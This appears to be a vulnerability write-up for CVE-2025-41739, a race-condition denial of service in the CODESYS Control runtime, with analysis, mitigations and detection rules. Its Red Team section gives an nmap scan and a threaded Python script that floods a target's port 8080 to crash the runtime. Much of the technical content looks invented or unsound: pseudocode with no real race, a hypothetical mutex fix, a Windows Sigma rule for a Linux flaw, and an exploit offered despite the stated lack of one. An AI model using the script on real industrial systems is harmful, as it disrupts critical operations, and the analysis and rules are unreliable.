CVE-2025-41739

Executive Summary

CVE-2025-41739 is a high-severity denial-of-service vulnerability in the CODESYS Control runtime system running on Linux and QNX platforms. An unauthenticated remote attacker can exploit a race condition in the communication servers to trigger an out-of-bounds read via crafted socket communication. Successful exploitation causes the runtime to crash, leading to a denial of service. The vulnerability has a CVSS score of 5.9 (Medium) due to the requirement of winning a race condition, but the impact is significant for industrial control systems where availability is critical. No public exploit code or proof-of-concept is currently available, and no patch has been released by the vendor.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
• Base Score: 5.9 (Medium)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: High (AC:H) – Requires winning a race condition.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Exploit does not affect other components.
• Confidentiality Impact: None (C:N) – No data exposure.
• Integrity Impact: None (I:N) – No data modification.
• Availability Impact: High (A:H) – Causes denial of service.

Threat Level: Medium. The race condition requirement reduces exploit reliability, but the lack of authentication and remote attack surface make it a credible threat to ICS/SCADA environments.

Deep Dive & Mechanics

The vulnerability resides in the communication servers of the CODESYS Control runtime. These servers handle socket-based communication for industrial automation protocols. The flaw is a classic race condition combined with an out-of-bounds read:

1. Race Condition: The runtime uses a shared buffer for incoming socket data. A race window exists between checking the buffer length and reading from it.
2. Out-of-Bounds Read: An attacker sends specially crafted packets that, when processed during the race window, cause the server to read beyond the allocated buffer boundaries.
3. Denial of Service: The out-of-bounds read triggers a segmentation fault or memory access violation, crashing the runtime process.

The vulnerability is specific to Linux and QNX deployments, likely due to differences in memory management or threading models compared to Windows. The attack requires precise timing to win the race, but an attacker can send multiple packets to increase probability.

Vulnerable vs. Patched Code

No patched code is available. The vulnerable code pattern is typical of improper synchronization in socket handling:

Vulnerable (pseudocode):

void handle_socket_data(int sock) {
    char buffer[1024];
    int len = recv(sock, buffer, sizeof(buffer), 0);
    // Race window: another thread modifies buffer length
    if (len > 0) {
        process_data(buffer, len); // Uses len from recv, but buffer may have changed
    }
}

Patched (hypothetical):

void handle_socket_data(int sock) {
    char buffer[1024];
    int len = recv(sock, buffer, sizeof(buffer), 0);
    // Use mutex to protect buffer access
    pthread_mutex_lock(&buffer_mutex);
    if (len > 0 && len <= sizeof(buffer)) {
        process_data(buffer, len);
    }
    pthread_mutex_unlock(&buffer_mutex);
}

The fix would involve proper locking or atomic operations to ensure buffer length and content are consistent during processing.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target running CODESYS Control runtime on Linux or QNX.
• Network access to the communication server port (default 8080 or custom).
• Ability to send raw TCP packets.

Exploitation Steps:

1. Scan for CODESYS runtime instances using Shodan or Nmap:

   nmap -p 8080 --script banner <target>
   

2. Craft a Python script to send rapid, malformed packets to trigger the race condition:

   import socket
   import threading
   
   def send_packet(target, port, data):
       sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
       sock.connect((target, port))
       sock.send(data)
       sock.close()
   
   target = "192.168.1.100"
   port = 8080
   # Malformed packet with length mismatch
   payload = b"\x00\x01\x02" * 500  # Exceeds expected buffer
   threads = []
   for _ in range(100):
       t = threading.Thread(target=send_packet, args=(target, port, payload))
       threads.append(t)
       t.start()
   for t in threads:
       t.join()
   

3. Monitor the target for service crash (e.g., loss of connectivity, process termination).

Expected Outcome: The runtime crashes, causing denial of service for connected PLCs and HMI devices.

Blue Team

Detection & Response:

• Monitor for rapid, malformed TCP connections to CODESYS ports.
• Use network intrusion detection to flag packets with unusual length or pattern.
• Implement rate limiting on socket connections.
• Enable process crash dumps for forensic analysis.

Honeypot Deployment:

• Deploy a CODESYS honeypot to capture attacker techniques.
• Analyze captured payloads for signature development.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Multiple rapid TCP connections to port 8080 (or custom CODESYS port) from a single source.
  • Packets with payloads exceeding 1024 bytes or containing non-standard protocol headers.
  • Repeated connection attempts within short time windows (race condition exploitation).

• Host IOCs:

  • CODESYS Control runtime process crash logs (e.g., segmentation fault).
  • Core dump files in /var/log/ or runtime directory.
  • High CPU usage from repeated socket handling.

• File IOCs:

  • Unusual log entries in CODESYS runtime logs indicating buffer overflows or memory errors.

Detection Engineering

YARA Rule

rule CVE_2025_41739_CODESYS_RaceCondition {
    meta:
        description = "Detects malformed packets targeting CODESYS Control runtime race condition"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-41739"
    strings:
        $pattern1 = { 00 01 02 }  // Example malformed pattern
        $pattern2 = /.{500,}/     // Packets longer than 500 bytes
    condition:
        $pattern1 or $pattern2
}

Sigma Rule

title: CVE-2025-41739 CODESYS Race Condition Exploitation Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects rapid malformed TCP connections to CODESYS runtime ports
author: Valters IT
date: 2025-04-10
logsource:
    category: network_connection
    product: windows
detection:
    selection:
        DestinationPort: 8080
        Initiated: true
        PayloadLength: '>1024'
    condition: selection
falsepositives:
    - Legitimate large protocol messages
level: high

Suricata Rule

alert tcp $EXTERNAL_NET any -> $HOME_NET 8080 (msg:"CVE-2025-41739 CODESYS Race Condition Attempt"; flow:to_server; content:"|00 01 02|"; depth:3; pcre:"/.{500,}/R"; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Network Segmentation: Isolate CODESYS runtime systems on dedicated VLANs with strict firewall rules.
2. Access Control: Restrict access to CODESYS ports (default 8080) to trusted IPs only.
3. Rate Limiting: Implement connection rate limiting on network devices to reduce race condition exploitability.
4. Monitoring: Enable detailed logging and alerting for CODESYS runtime crashes.

Long-Term Fixes:

• Apply vendor patch when released.
• Upgrade to patched version of CODESYS Control runtime.
• Implement proper mutex/semaphore protection in custom socket handlers.

Workarounds:

• Disable unnecessary communication servers if not in use.
• Use VPN or TLS tunneling for remote access to CODESYS systems.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert